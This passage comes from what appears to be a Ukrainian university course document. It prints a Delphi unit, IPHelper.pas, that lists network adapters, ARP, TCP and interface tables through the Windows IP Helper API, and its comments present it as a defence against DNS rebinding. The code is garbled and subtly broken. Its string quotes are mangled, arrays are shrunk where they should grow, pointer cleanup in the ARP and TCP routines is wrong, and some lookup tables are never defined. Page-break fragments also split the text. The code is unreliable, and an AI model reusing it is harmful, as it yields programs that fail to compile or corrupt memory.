    GetIpStatistics := GetProcAddress (IpHlpModule, ‘ GetIpStatistics’ ) ; 
    GetIpNetTable := GetProcAddress (IpHlpModule, ‘ GetIpNetTable’ ) ; 
    GetIpAddrTable := GetProcAddress (IpHlpModule, ‘ GetIpAddrTable’ ) ; 
    GetIpForwardTable := GetProcAddress (IpHlpModule, ‘ GetIpForwardTable’ 

) ; 
    GetIcmpStatistics := GetProcAddress (IpHlpModule, ‘ GetIcmpStatistics’ 

) ; 
    GetRTTAndHopCount := GetProcAddress (IpHlpModule, ‘ GetRTTAndHopCount’ 

) ; 
    GetIfTable := GetProcAddress (IpHlpModule, ‘ GetIfTable’ ) ; 
    GetIfEntry := GetProcAddress (IpHlpModule, ‘ GetIfEntry’ ) ; 
    GetFriendlyIfIndex := GetProcAddress (IpHlpModule, ‘ 

GetFriendlyIfIndex’ ) ; 
end; 
 
initialization 
    IpHlpModule := 0 ; 
finalization 
    if IpHlpModule <> 0 then 
    begin 
        FreeLibrary (IpHlpModule) ; 
        IpHlpModule := 0 ; 
    end ; 
 
end. 
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Файл IPHelper.pas- функції роботи з IP-протоколом 
 

 
 
unit IPHelper; 
 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Classes, Dialogs, IpHlpApi; 
 
const 
  NULL_IP       = ‘   0.0.  0.0’ ; 
 
//---перетворення добре відомих номерів портів до імен сервісів-------- 
 
type 
  TWellKnownPort = record 
    Prt: DWORD; 
    Srv: string[20]; 
  end; 
 
 
const 
    // тільки найбільш популярні сервіси... 
  WellKnownPorts: array[1..32] of TWellKnownPort 
  = ( 
//    ( Prt: 0; Srv:   ‘ RESRVED’  ),     {Зарезервовано} 
    ( Prt: 7; Srv:   ‘ ECHO   ‘  ),     {Ping    } 
    ( Prt: 9; Srv:   ‘ DISCARD’  ), 
    ( Prt: 13; Srv:  ‘ DAYTIME’  ), 
    ( Prt: 17; Srv:  ‘ QOTD   ‘  ),     {Показчик на день} 
    ( Prt: 19; Srv:  ‘ CHARGEN’  ),     {Генератор символів} 
    ( Prt: 20; Srv:  ‘ FTPDATA’  ),     { File Transfer Protocol- дані} 
    ( Prt: 21; Srv:  ‘ FTPCTRL’  ),     { File Transfer Protocol- управління} 
    ( Prt: 22; Srv:  ‘ SSH    ‘  ), 
    ( Prt: 23; Srv:  ‘ TELNET ‘  ), 
    ( Prt: 25; Srv:  ‘ SMTP   ‘  ),     { Simple Mail Transfer Protocol} 
    ( Prt: 37; Srv:  ‘ TIME   ‘  ),     { Часовий протокол } 
    ( Prt: 43; Srv:  ‘ WHOIS  ‘  ),     { Сервіс – Кто це  } 
    ( Prt: 53; Srv:  ‘ DNS    ‘  ),     { Domain Name Service } 
    ( Prt: 67; Srv:  ‘ BOOTPS ‘  ),     { BOOTP Сервер } 
    ( Prt: 68; Srv:  ‘ BOOTPC ‘  ),     { BOOTP Кієнт } 
    ( Prt: 69; Srv:  ‘ TFTP   ‘  ),     { стандартний  FTP  } 
    ( Prt: 70; Srv:  ‘ GOPHER ‘  ),     { Протокол Gopher       } 
    ( Prt: 79; Srv:  ‘ FINGER ‘  ),     { Протокол Finger       } 
    ( Prt: 80; Srv:  ‘ HTTP   ‘  ),     { Протокол HTTP         } 
    ( Prt: 88; Srv:  ‘ KERBROS’  ),     { Протокол Kerberos     } 
    ( Prt: 109; Srv: ‘ POP2   ‘  ),     { Протокол Post Office Protocol Version 
2 } 
    ( Prt: 110; Srv: ‘ POP3   ‘  ),     { Протокол Post Office Protocol Version 
3 } 
    ( Prt: 111; Srv: ‘ SUN_RPC’  ),     { Протокол SUN Remote Procedure Call } 
    ( Prt: 119; Srv: ‘ NNTP   ‘  ),     { Протокол Network News Transfer 
Protocol } 
    ( Prt: 123; Srv: ‘ NTP    ‘  ),     { Протокол Network Time protocol          
} 
    ( Prt: 135; Srv: ‘ DCOMRPC’  ),     { Протокол Location Service              
} 
    ( Prt: 137; Srv: ‘ NBNAME ‘  ),     { NETBIOS сервіс імен          } 
    ( Prt: 138; Srv: ‘ NBDGRAM’  ),     { NETBIOS сервіс датаграм     } 
    ( Prt: 139; Srv: ‘ NBSESS ‘  ),     { NETBIOS сервіс сесій        } 
    ( Prt: 143; Srv: ‘ IMAP   ‘  ),     { Протокол Internet Message Access 
Protocol } 
    ( Prt: 161; Srv: ‘ SNMP   ‘  ),     { Протокол Simple Netw. Management 
Protocol } 
    ( Prt: 169; Srv: ‘ SEND   ‘  ) 
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    ); 
 
 
//------перетворення ICMP кодів помилок до рядків------------- 
 
const 
  ICMP_ERROR_BASE = 11000; 
  IcmpErr : array[1..22] of string = 
  ( 
   ‘ IP_BUFFER_TOO_SMALL’ ,’ IP_DEST_NET_UNREACHABLE’ , ‘ 
IP_DEST_HOST_UNREACHABLE’ , 
   ‘ IP_PROTOCOL_UNREACHABLE’ , ‘ IP_DEST_PORT_UNREACHABLE’ , ‘ IP_NO_RESOURCES’ 
, 
   ‘ IP_BAD_OPTION’ ,’ IP_HARDWARE_ПОМИЛКА’ , ‘ IP_PACKET_TOO_BIG’ , ‘ 
IP_REQUEST_TIMED_OUT’ , 
   ‘ IP_BAD_REQUEST’ ,’ IP_BAD_ROUTE’ , ‘ IP_TTL_EXPIRED_TRANSIT’ , 
   ‘ IP_TTL_EXPIRED_REASSEM’ ,’ IP_PARAMETER_PROBLEM’ , ‘ IP_SOURCE_QUENCH’ , 
   ‘ IP_OPTION_TOO_BIG’ , ‘ IP_BAD_DESTINATION’ ,’ IP_ADDRESS_DELETED’ , 
   ‘ IP_SPEC_MTU_CHANGE’ , ‘ IP_MTU_CHANGE’ , ‘ IP_UNLOAD’  
  ); 
 
 
//-----Перетворення різних перерахованих величин у рядки--------- 
 
  ARPEntryType  : array[1..4] of string = ( ‘ інший’ , ‘ неправильний’ , 
    ‘ динамічний’ , ‘ статичний’  
    ); 
  TCPConnState  : 
    array[1..12] of string = 
    ( ‘ closed’ , ‘ listening’ , ‘ syn_sent’ , 
    ‘ syn_rcvd’ , ‘ established’ , ‘ fin_wait1’ , 
    ‘ fin_wait2’ , ‘ close_wait’ , ‘ closing’ , 
    ‘ last_ack’ , ‘ time_wait’ , ‘ delete_tcb’  
    ); 
 
  TCPToAlgo     : array[1..4] of string = 
    ( ‘ Const.Timeout’ , ‘  MIL-STD-1778’ , 
    ‘ Van Jacobson’ , ‘ інший’  ); 
 
  IPForwTypes   : array[1..4] of string = 
    ( ‘ інший’ , ‘ invalid’ , ‘ local’ , ‘ remote’  ); 
 
  IPForwProtos  : array[1..18] of string = 
    ( ‘ інший’ , ‘ LOCAL’ , ‘ NETMGMT’ , ‘ ICMP’ , ‘ EGP’ , 
    ‘ GGP’ , ‘ HELO’ , ‘ RIP’ , ‘ IS_IS’ , ‘ ES_IS’ , 
    ‘ CISCO’ , ‘ BBN’ , ‘ OSPF’ , ‘ BGP’ , ‘ BOOTP’ , 
    ‘ AUTO_STAT’ , ‘ STATIC’ , ‘ NOT_DOD’  ); 
 
type 
 
// для IpHlpNetworkParams 
  TNetworkParams = record 
    HostName: string ; 
    DomainName: string ; 
    CurrentDnsServer: string ; 
    DnsServerTot: integer ; 
    DnsServerNames: array [0..9] of string ; 
    NodeType: UINT; 
    ScopeID: string ; 
    EnableRouting: UINT; 
    EnableProxy: UINT; 
    EnableDNS: UINT; 
  end; 
 
  TIfRows = array of TMibIfRow ; // динамічний масив колонок 
 
// для IpHlpAdaptersInfo 
  TAdaptorInfo = record 
    AdapterName: string ; 
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    Description: string ; 
    MacAddress: string ; 
    Index: DWORD; 
    aType: UINT; 
    DHCPEnabled: UINT; 
    CurrIPAddress: string ; 
    CurrIPMask: string ; 
    IPAddressTot: integer ; 
    IPAddressList: array of string ; 
    IPMaskList: array of string ; 
    GatewayTot: integer ; 
    GatewayList: array of string ; 
    DHCPTot: integer ; 
    DHCPServer: array of string ; 
    HaveWINS: BOOL; 
    PrimWINSTot: integer ; 
    PrimWINSServer: array of string ; 
    SecWINSTot: integer ; 
    SecWINSServer: array of string ; 
    LeaseObtained: LongInt ; // UNIX час, секунди з 1970 
    LeaseExpires: LongInt;   // UNIX час, секунди з 1970 
  end ; 
 
  TAdaptorRows = array of TAdaptorInfo ; 
 
 
//--------експортуємі дані--------------------- 
 
function IpHlpAdaptersInfo(var AdpTot: integer;var AdpRows: TAdaptorRows): 
integer ; 
procedure Get_AdaptersInfo( List: TStrings ); 
function IpHlpNetworkParams (var NetworkParams: TNetworkParams): integer ; 
procedure Get_NetworkParams( List: TStrings ); 
procedure Get_ARPTable( List: TStrings ); 
procedure Get_TCPTable( List: TStrings ); 
procedure Get_TCPStatistics( List: TStrings ); 
function IpHlpTCPStatistics (var TCPStats: TMibTCPStats): integer ; 
procedure Get_UDPTable( List: TStrings ); 
procedure Get_UDPStatistics( List: TStrings ); 
function IpHlpUdpStatistics (UdpStats: TMibUDPStats): integer ; 
procedure Get_IPAddrTable( List: TStrings ); 
procedure Get_IPForwardTable( List: TStrings ); 
procedure Get_IPStatistics( List: TStrings ); 
function IpHlpIPStatistics (var IPStats: TMibIPStats): integer ; 
function Get_RTTAndHopCount( IPAddr: DWORD; MaxHops: Longint; 
  var RTT: longint; var HopCount: longint ): integer; 
procedure Get_ICMPStats( ICMPIn, ICMPOut: TStrings ); 
function IpHlpIfTable(var IfTot: integer; var IfRows: TIfRows): integer ; 
procedure Get_IfTable( List: TStrings ); 
function IpHlpIfEntry(Index: integer; var IfRow: TMibIfRow): integer ; 
procedure Get_RecentDestIPs( List: TStrings ); 
 
// функції перетворення 
function MacAddr2Str( MacAddr: TMacAddress; size: integer ): string; 
function IpAddr2Str( IPAddr: DWORD ): string; 
function Str2IpAddr( IPStr: string ): DWORD; 
function Port2Str( nwoPort: DWORD ): string; 
function Port2Wrd( nwoPort: DWORD ): DWORD; 
function Port2Svc( Port: DWORD ): string; 
function ICMPErr2Str( ICMPErrCode: DWORD) : string; 
 
implementation 
 
var 
  RecentIPs     : TStringList; 
 
//-------Основні функції---------------------- 
 
{ отримання наступного "токена" з рядка } 
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function NextToken( var s: string; Separator: char ): string; 
var 
  Sep_Pos       : byte; 
begin 
  Result := ‘ ‘ ; 
  if length( s ) > 0 then begin 
    Sep_Pos := pos( Separator, s ); 
    if Sep_Pos > 0 then begin 
      Result := copy( s, 1, Pred( Sep_Pos ) ); 
      Delete( s, 1, Sep_Pos ); 
    end 
    else begin 
      Result := s; 
      s := ‘ ‘ ; 
    end; 
  end; 
end; 
 
//----------------------------------- 
{ перетворення числового MAC-адреса  до ww-xx-yy-zz рядка } 
function MacAddr2Str( MacAddr: TMacAddress; size: integer ): string; 
var 
  i             : integer; 
begin 
  if Size = 0 then 
  begin 
    Result := ‘  00-00-00’ ; 
    EXIT; 
  end 
  else Result := ‘ ‘ ; 
  // 
  for i := 1 to Size do 
    Result := Result + IntToHex( MacAddr[i], 2) + ‘ -’ ; 
  Delete( Result, Length( Result ), 1 ); 
end; 
 
//----------------------------------- 
{ перетворення IP-адреси в мережний байт типу DWORD } 
function IpAddr2Str( IPAddr: DWORD ): string; 
var 
  i             : integer; 
begin 
  Result := ‘ ‘ ; 
  for i := 1 to 4 do 
  begin 
    Result := Result + Format( ‘ %3d.’ , [IPAddr and $FF] ); 
    IPAddr := IPAddr shr 8; 
  end; 
  Delete( Result, Length( Result ), 1 ); 
end; 
 
//----------------------------------- 
{ перетворення крапкової десяткової IP-адреси в мережний байт типу DWORD} 
function Str2IpAddr( IPStr: string ): DWORD; 
var 
  i             : integer; 
  Num           : DWORD; 
begin 
  Result := 0; 
  for i := 1 to 4 do 
  try 
    Num := ( StrToInt( NextToken( IPStr, ‘ .’  ) ) ) shl 24; 
    Result := ( Result shr 8 ) or Num; 
  except 
    Result := 0; 
  end; 
 
end; 
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//----------------------------------- 
{ перетворення номеру порту в мережний байт типу DWORD } 
function Port2Wrd( nwoPort: DWORD ): DWORD; 
begin 
  Result := Swap( WORD( nwoPort ) ); 
end; 
 
//----------------------------------- 
{ перетворення номеру порту в мережний байт типу string } 
function Port2Str( nwoPort: DWORD ): string; 
begin 
  Result := IntToStr( Port2Wrd( nwoPort ) ); 
end; 
 
//----------------------------------- 
{ перетворення номеру порту в сервіс ID } 
function Port2Svc( Port: DWORD ): string; 
var 
  i             : integer; 
begin 
  Result := Format( ‘ %4d’ , [Port] ); // у випадку, якщо порт не знайдено 
  for i := Low( WellKnownPorts ) to High( WellKnownPorts ) do 
    if Port = WellKnownPorts[i].Prt then 
    begin 
      Result := WellKnownPorts[i].Srv; 
      BREAK; 
    end; 
end; 
 
//----------------------------------- 
{ голона частина, фіксація мережний параметрів системи кібербезпеки для протидії 
атаці DNS Rebinding} 
 
procedure Get_NetworkParams( List: TStrings ); 
var 
    NetworkParams: TNetworkParams ; 
    I, ErrorCode: integer ; 
begin 
    if not Assigned( List ) then EXIT; 
    List.Clear; 
    ErrorCode := IpHlpNetworkParams (NetworkParams) ; 
    if ErrorCode <> 0 then 
    begin 
        List.Add (SysErrorMessage (ErrorCode)); 
        exit; 
    end ; 
    with NetworkParams do 
    begin 
        List.Add( ‘ Ім’я хосту          : ‘  + HostName ); 
        List.Add( ‘ Домен            : ‘  + DomainName ); 
        List.Add( ‘ NETBIOS тип : ‘  + NETBIOSTypes[NodeType] ); 
        List.Add( ‘ DHCP область        : ‘  + ScopeID ); 
        List.Add( ‘ ROUTING визначено   : ‘  + IntToStr( EnableRouting ) ); 
        List.Add( ‘ PROXY   визначено   : ‘  + IntToStr( EnableProxy ) ); 
        List.Add( ‘ DNS     визначено   : ‘  + IntToStr( EnableDNS ) ); 
        if DnsServerTot <> 0 then 
        begin 
            for I := 0 to Pred (DnsServerTot) do 
                List.Add( ‘ DNS адреса серверу   : ‘  + DnsServerNames [I] ) ; 
        end ; 
    end ; 
end ; 
 
//-------------------------------------// 
function IpHlpNetworkParams (var NetworkParams: TNetworkParams): integer ; 
var 
  FixedInfo     : PTFixedInfo;         // дані 
  InfoSize      : Longint; 
  PDnsServer    : PTIP_ADDR_STRING ;   // дані 
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begin 
    InfoSize := 0 ;   // дані 
    result := ERROR_NOT_SUPPORTED ; 
    if NOT LoadIpHlp then exit ; 
    result := GetNetworkParams( Nil, @InfoSize );  // дані 
    if result <> ERROR_BUFFER_OVERFLOW then exit ; // дані 
    GetMem (FixedInfo, InfoSize) ;                    // дані 
    try 
    result := GetNetworkParams( FixedInfo, @InfoSize );   // дані 
    if result <> ERROR_SUCCESS then exit ; 
    NetworkParams.DnsServerTot := 0 ; 
    with FixedInfo^ do 
    begin 
        NetworkParams.HostName := trim (HostName) ; 
        NetworkParams.DomainName := trim (DomainName) ; 
        NetworkParams.ScopeId := trim (ScopeID) ; 
        NetworkParams.NodeType := NodeType ; 
        NetworkParams.EnableRouting := EnableRouting ; 
        NetworkParams.EnableProxy := EnableProxy ; 
        NetworkParams.EnableDNS := EnableDNS ; 
        NetworkParams.DnsServerNames [0] := DNSServerList.IPAddress ;  // дані 
        if NetworkParams.DnsServerNames [0] <> ‘ ‘  then 
                                        NetworkParams.DnsServerTot := 1 ; 
        PDnsServer := DnsServerList.Next; 
        while PDnsServer <> Nil do 
        begin 
            NetworkParams.DnsServerNames [NetworkParams.DnsServerTot] := 
                                        PDnsServer^.IPAddress ;  // дані 
            inc (NetworkParams.DnsServerTot) ; 
            if NetworkParams.DnsServerTot >= 
                            Length (NetworkParams.DnsServerNames) then exit ; 
            PDnsServer := PDnsServer.Next ; 
        end; 
    end ; 
    finally 
       FreeMem (FixedInfo) ;                     // дані 
    end ; 
end; 
 
//----------------------------------- 
 
function ICMPErr2Str( ICMPErrCode: DWORD) : string; 
begin 
   Result := ‘ UnknownError : ‘  + IntToStr( ICMPErrCode ); 
   dec( ICMPErrCode, ICMP_ERROR_BASE ); 
   if ICMPErrCode in [Low(ICMpErr)..High(ICMPErr)] then 
     Result := ICMPErr[ ICMPErrCode]; 
end; 
 
 
//----------------------------------- 
 
// включення байтів у/з для кожного адаптера  
 
function IpHlpIfTable(var IfTot: integer; var IfRows: TIfRows): integer ; 
var 
  I, 
  TableSize   : integer; 
  pBuf, pNext : PChar; 
begin 
  result := ERROR_NOT_SUPPORTED ; 
  if NOT LoadIpHlp then exit ; 
  SetLength (IfRows, 0) ; 
  IfTot := 0 ; // дані 
  TableSize := 0; 
   // перший виклик: необхідно отримати розмір пам’ яті  
  result := GetIfTable (Nil, @TableSize, false) ;  // дані 
  if result <> ERROR_INSUFFICIENT_BUFFER then exit ; 
  GetMem( pBuf, TableSize ); 
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  try 
      FillChar (pBuf^, TableSize, #0);  // очищаємо буфер з  W98 не беремо 
крапку таблиці 
      result := GetIfTable (PTMibIfTable (pBuf), @TableSize, false) ; 
      if result <> NO_ERROR then exit ; 
      IfTot := PTMibIfTable (pBuf)^.dwNumEntries ; 
      if IfTot = 0 then exit ; 
      SetLength (IfRows, IfTot) ; 
      pNext := pBuf + SizeOf(IfTot) ; 
      for i := 0 to Pred (IfTot) do 
      begin 
         IfRows [i] := PTMibIfRow (pNext )^ ; 
         inc (pNext, SizeOf (TMibIfRow)) ; 
      end; 
  finally 
      FreeMem (pBuf) ; 
  end ; 
end; 
 
procedure Get_IfTable( List: TStrings ); 
var 
  IfRows        : TIfRows ; 
  Error, I      : integer; 
  NumEntries    : integer; 
  sDescr, sIfName: string ; 
begin 
  if not Assigned( List ) then EXIT; 
  List.Clear; 
  SetLength (IfRows, 0) ; 
  Error := IpHlpIfTable (NumEntries, IfRows) ; 
  if (Error <> 0) then 
      List.Add( SysErrorMessage( GetLastError ) ) 
  else if NumEntries = 0 then 
      List.Add( ‘ данних немає ’  ) 
  else 
  begin 
      for I := 0 to Pred (NumEntries) do 
      begin 
          with IfRows [I] do 
          begin 
             if wszName [1] = #0 then 
                 sIfName := ‘ ‘  
             else 
                 sIfName := WideCharToString (@wszName) ;  // конвертуємо Юнікод 
до рядка 
             sIfName := trim (sIfName) ; 
             sDescr := bDescr ; 
             sDescr := trim (sDescr); 
             List.Add (Format ( 
               ‘ %0.8x |%3d | %16s |%8d |%12d |%2d |%2d |%10d |%10d | %-s| %-s’ 
, 
               [dwIndex, dwType, MacAddr2Str( TMacAddress( bPhysAddr ), 
               dwPhysAddrLen ), dwMTU, dwSpeed, dwAdminStatus, 
               dwOPerStatus, Int64 (dwInOctets), Int64 (dwOutOctets),  // 
конвертуємо до 32-біт 
               sIfName, sDescr] )  // дані, додані в/з 
               ); 
          end; 
      end ; 
  end ; 
  SetLength (IfRows, 0) ;  // вільна пам’ ять 
end ; 
 
function IpHlpIfEntry(Index: integer; var IfRow: TMibIfRow): integer ; 
begin 
  result := ERROR_NOT_SUPPORTED ; 
  if NOT LoadIpHlp then exit ; 
  FillChar (IfRow, SizeOf (TMibIfRow), #0);  // очищаємо буфер з  W98 не беремо 
  IfRow.dwIndex := Index ; 
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  result := GetIfEntry (@IfRow) ; 
end ; 
 
//----------------------------------- 
{ інформація про інстальовані адаптери } 
 
function IpHlpAdaptersInfo(var AdpTot: integer; var AdpRows: TAdaptorRows): 
integer ; 
var 
  BufLen        : DWORD; 
  AdapterInfo   : PTIP_ADAPTER_INFO; 
  PIpAddr       : PTIP_ADDR_STRING; 
  PBuf          : PCHAR ; 
  I             : integer ; 
begin 
  SetLength (AdpRows, 4) ; 
  AdpTot := 0 ; 
  BufLen := 0 ; 
  result := GetAdaptersInfo( Nil, @BufLen ); 
  if (result <> ERROR_INSUFFICIENT_BUFFER) and (result = NO_ERROR) then exit ; 
  GetMem( pBuf, BufLen ); 
  try 
      FillChar (pBuf^, BufLen, #0);  // очищуємо буфер 
      result := GetAdaptersInfo( PTIP_ADAPTER_INFO (PBuf), @BufLen ); 
      if result = NO_ERROR then 
      begin 
         AdapterInfo := PTIP_ADAPTER_INFO (PBuf) ; 
         while ( AdapterInfo <> nil ) do 
         begin 
            AdpRows [AdpTot].IPAddressTot := 0 ; 
            SetLength (AdpRows [AdpTot].IPAddressList, 2) ; 
            SetLength (AdpRows [AdpTot].IPMaskList, 2) ; 
            AdpRows [AdpTot].GatewayTot := 0 ; 
            SetLength (AdpRows [AdpTot].GatewayList, 2) ; 
            AdpRows [AdpTot].DHCPTot := 0 ; 
            SetLength (AdpRows [AdpTot].DHCPServer, 2) ; 
            AdpRows [AdpTot].PrimWINSTot := 0 ; 
            SetLength (AdpRows [AdpTot].PrimWINSServer, 2) ; 
            AdpRows [AdpTot].SecWINSTot := 0 ; 
            SetLength (AdpRows [AdpTot].SecWINSServer, 2) ; 
            AdpRows [AdpTot].CurrIPAddress := NULL_IP; 
            AdpRows [AdpTot].CurrIPMask := NULL_IP; 
            AdpRows [AdpTot].AdapterName := Trim( string( 
AdapterInfo^.AdapterName ) ); 
            AdpRows [AdpTot].Description := Trim( string( 
AdapterInfo^.Description ) ); 
            AdpRows [AdpTot].MacAddress := MacAddr2Str( TMacAddress( 
                                 AdapterInfo^.Address ), 
AdapterInfo^.AddressLength ) ; 
            AdpRows [AdpTot].Index := AdapterInfo^.Index ; 
            AdpRows [AdpTot].aType := AdapterInfo^.aType ; 
            AdpRows [AdpTot].DHCPEnabled := AdapterInfo^.DHCPEnabled ; 
            if AdapterInfo^.CurrentIPAddress <> Nil then 
            begin 
                AdpRows [AdpTot].CurrIPAddress := 
AdapterInfo^.CurrentIPAddress.IpAddress ; 
                AdpRows [AdpTot].CurrIPMask := 
AdapterInfo^.CurrentIPAddress.IpMask ; 
            end ; 
 
        // беремо список IP адрес та конвертуємо в IPAddressList 
            I := 0 ; 
            PIpAddr := @AdapterInfo^.IPAddressList ; 
            while (PIpAddr <> Nil) do 
            begin 
                AdpRows [AdpTot].IPAddressList [I] := PIpAddr.IpAddress ; 
                AdpRows [AdpTot].IPMaskList [I] := PIpAddr.IpMask ; 
                PIpAddr := PIpAddr.Next ; 
                inc (I) ; 
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                if Length (AdpRows [AdpTot].IPAddressList) <= I then 
                begin 
                     SetLength (AdpRows [AdpTot].IPAddressList, I -2) ; 
                     SetLength (AdpRows [AdpTot].IPMaskList, I -2) ; 
                end ; 
            end ; 
            AdpRows [AdpTot].IPAddressTot := I ; 
 
        // беремо список IP адрес для GatewayList 
            I := 0 ; 
            PIpAddr := @AdapterInfo^.GatewayList ; 
            while (PIpAddr <> Nil) do 
            begin 
                AdpRows [AdpTot].GatewayList [I] := PIpAddr.IpAddress ; 
                PIpAddr := PIpAddr.Next ; 
                inc (I) ; 
                if Length (AdpRows [AdpTot].GatewayList) <= I then 
                             SetLength (AdpRows [AdpTot].GatewayList, I -2) ; 
            end ; 
            AdpRows [AdpTot].GatewayTot := I ; 
 
        // беремо список IP адрес для  GatewayList 
            I := 0 ; 
            PIpAddr := @AdapterInfo^.DHCPServer ; 
            while (PIpAddr <> Nil) do 
            begin 
                AdpRows [AdpTot].DHCPServer [I] := PIpAddr.IpAddress ; 
                PIpAddr := PIpAddr.Next ; 
                inc (I) ; 
                if Length (AdpRows [AdpTot].DHCPServer) <= I then 
                             SetLength (AdpRows [AdpTot].DHCPServer, I -2) ; 
            end ; 
            AdpRows [AdpTot].DHCPTot := I ; 
 
        // беремо список IP адрес для PrimaryWINSServer 
            I := 0 ; 
            PIpAddr := @AdapterInfo^.PrimaryWINSServer ; 
            while (PIpAddr <> Nil) do 
            begin 
                AdpRows [AdpTot].PrimWINSServer [I] := PIpAddr.IpAddress ; 
                PIpAddr := PIpAddr.Next ; 
                inc (I) ; 
                if Length (AdpRows [AdpTot].PrimWINSServer) <= I then 
                             SetLength (AdpRows [AdpTot].PrimWINSServer, I -2) ; 
            end ; 
            AdpRows [AdpTot].PrimWINSTot := I ; 
 
       // беремо список IP адрес для SecondaryWINSServer 
            I := 0 ; 
            PIpAddr := @AdapterInfo^.SecondaryWINSServer ; 
            while (PIpAddr <> Nil) do 
            begin 
                AdpRows [AdpTot].SecWINSServer [I] := PIpAddr.IpAddress ; 
                PIpAddr := PIpAddr.Next ; 
                inc (I) ; 
                if Length (AdpRows [AdpTot].SecWINSServer) <= I then 
                             SetLength (AdpRows [AdpTot].SecWINSServer, I -2) ; 
            end ; 
            AdpRows [AdpTot].SecWINSTot := I ; 
 
            AdpRows [AdpTot].LeaseObtained := AdapterInfo^.LeaseObtained ; 
            AdpRows [AdpTot].LeaseExpires := AdapterInfo^.LeaseExpires ; 
 
            inc (AdpTot) ; 
            if Length (AdpRows) <= AdpTot then 
                            SetLength (AdpRows, AdpTot -2) ;  // більше пам’ яті 
            AdapterInfo := AdapterInfo^.Next; 
         end ; 
         SetLength (AdpRows, AdpTot) ; 
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      end ; 
  finally 
      FreeMem( pBuf ); 
  end ; 
end ; 
 
procedure Get_AdaptersInfo( List: TStrings ); 
var 
  AdpTot: integer; 
  AdpRows: TAdaptorRows ; 
  Error: DWORD ; 
  I: integer ; 
  //J: integer ;   
  //S: string ;        id. 
begin 
  if not Assigned( List ) then EXIT; 
  List.Clear; 
  SetLength (AdpRows, 0) ; 
  AdpTot := 0 ; 
  Error := IpHlpAdaptersInfo(AdpTot, AdpRows) ; 
  if (Error <> 0) then 
      List.Add( SysErrorMessage( GetLastError ) ) 
  else if AdpTot = 0 then 
      List.Add( ‘ данних немає ’  ) 
  else 
  begin 
      for I := 0 to Pred (AdpTot) do 
      begin 
        with AdpRows [I] do 
        begin 
            //List.Add(AdapterName + ‘ |’  + Description ); // jpt : не 
використовується 
            List.Add( Format(‘ %8.8x | %6s | %16s | %2d | %16s | %16s | %16s’ , 
                [Index, AdaptTypes[aType], MacAddress, DHCPEnabled, 
                GatewayList [0], DHCPServer [0], PrimWINSServer [0]] ) ); 
            {if IPAddressTot <> 0 then    // jpt : не використовується 
            begin 
                S := ‘ ‘  ; 
                for J := 0 to Pred (IPAddressTot) do 
                        S := S + IPAddressList [J] + ‘ /’  + IPMaskList [J] + ‘  
| ‘  ; 
                List.Add(IntToStr (IPAddressTot) + ‘  IP Addresse(s): ‘  + S); 
            end ; 
            List.Add( ‘   ‘  ); } 
        end ; 
      end ; 
  end ; 
  SetLength (AdpRows, 0) ; 
end ; 
 
//----------------------------------- 
{ моніторимо час доступу до IP системи кібербезпеки для протидії атаці DNS 
Rebinding} 
function Get_RTTAndHopCount( IPAddr: DWORD; MaxHops: Longint; var RTT: Longint; 
  var HopCount: Longint ): integer; 
begin 
  if not GetRTTAndHopCount( IPAddr, @HopCount, MaxHops, @RTT ) then 
  begin 
    Result := GetLastError; 
    RTT :=-1; // Расположення BAD_HOST_NAME,etc... 
    HopCount :=-1; 
  end 
  else 
    Result := NO_ERROR; 
end; 
 
//----------------------------------- 
{ ARP-таблиця включає відношення між віддаленим IP та віддаленим MAC-адресом. 
} 

Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



 37 
procedure Get_ARPTable( List: TStrings ); 
var 
  IPNetRow      : TMibIPNetRow; 
  TableSize     : DWORD; 
  NumEntries    : DWORD; 
  ErrorCode     : DWORD; 
  i             : integer; 
  pBuf          : PChar; 
begin 
  if not Assigned( List ) then EXIT; 
  List.Clear; 
  // перший виклик: беремо довжину таблиці 
  TableSize := 0; 
  ErrorCode := GetIPNetTable( Nil, @TableSize, false );   // дані 
  // 
  if ErrorCode = ERROR_NO_DATA then 
  begin 
    List.Add( ‘  ARP-кеш пустий.’  ); 
    EXIT; 
  end; 
  // беремо таблицю 
  GetMem( pBuf, TableSize ); 
  NumEntries := 0 ; 
  try 
  ErrorCode := GetIpNetTable( PTMIBIPNetTable( pBuf ), @TableSize, false ); 
  if ErrorCode = NO_ERROR then 
  begin 
    NumEntries := PTMIBIPNetTable( pBuf )^.dwNumEntries; 
    if NumEntries > 0 then  
    begin 
      inc( pBuf, SizeOf( DWORD ) ); // беремо розмір останьої таблиці 
      for i := 1 to NumEntries do 
      begin 
        IPNetRow := PTMIBIPNetRow( PBuf )^; 
        with IPNetRow do 
          List.Add( Format( ‘ %8x | %12s | %16s | %10s’ , 
                           [dwIndex, MacAddr2Str( bPhysAddr, dwPhysAddrLen ), 
                           IPAddr2Str( dwAddr ), ARPEntryType[dwType] 
                           ])); 
        inc( pBuf, SizeOf( IPNetRow ) ); 
      end; 
    end 
    else 
      List.Add( ‘  ARP-кеш пустий.’  ); 
  end 
  else 
    List.Add( SysErrorMessage( ErrorCode ) ); 
 
  // необхідно відновити показник! 
  finally 
      dec( pBuf, SizeOf( DWORD ) + NumEntries -SizeOf( IPNetRow ) ); 
      FreeMem( pBuf ); 
  end ; 
end; 
 
 
//----------------------------------- 
procedure Get_TCPTable( List: TStrings ); 
var 
  TCPRow        : TMIBTCPRow; 
  i, 
    NumEntries  : integer; 
  TableSize     : DWORD; 
  ErrorCode     : DWORD; 
  DestIP        : string; 
  pBuf          : PChar; 
begin 
  if not Assigned( List ) then EXIT; 
  List.Clear; 
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  RecentIPs.Clear; 
  // перший виклик: беремо довжину таблиці 
  TableSize := 0; 
  NumEntries := 0 ; 
  ErrorCode := GetTCPTable(Nil, @TableSize, false );  // дані 
  if Errorcode <> ERROR_INSUFFICIENT_BUFFER then 
    EXIT; 
 
  // беремо розмір пам’ яті, викликаємо знову 
  GetMem( pBuf, TableSize ); 
  // беремо таблицю 
  ErrorCode := GetTCPTable( PTMIBTCPTable( pBuf ), @TableSize, false ); 
  if ErrorCode = NO_ERROR then 
  begin 
 
    NumEntries := PTMIBTCPTable( pBuf )^.dwNumEntries; 
    if NumEntries > 0 then 
    begin 
      inc( pBuf, SizeOf( DWORD ) ); // беремо розмір останьої таблиці 
      for i := 1 to NumEntries do 
      begin 
        TCPRow := PTMIBTCPRow( pBuf )^; // беремо останій запис 
        with TCPRow do 
        begin 
          if dwRemoteAddr = 0 then 
            dwRemotePort := 0; 
          DestIP := IPAddr2Str( dwRemoteAddr ); 
          List.Add( 
            Format( ‘ %15s : %-7s | %15s : %-7s | %-16s’ , 
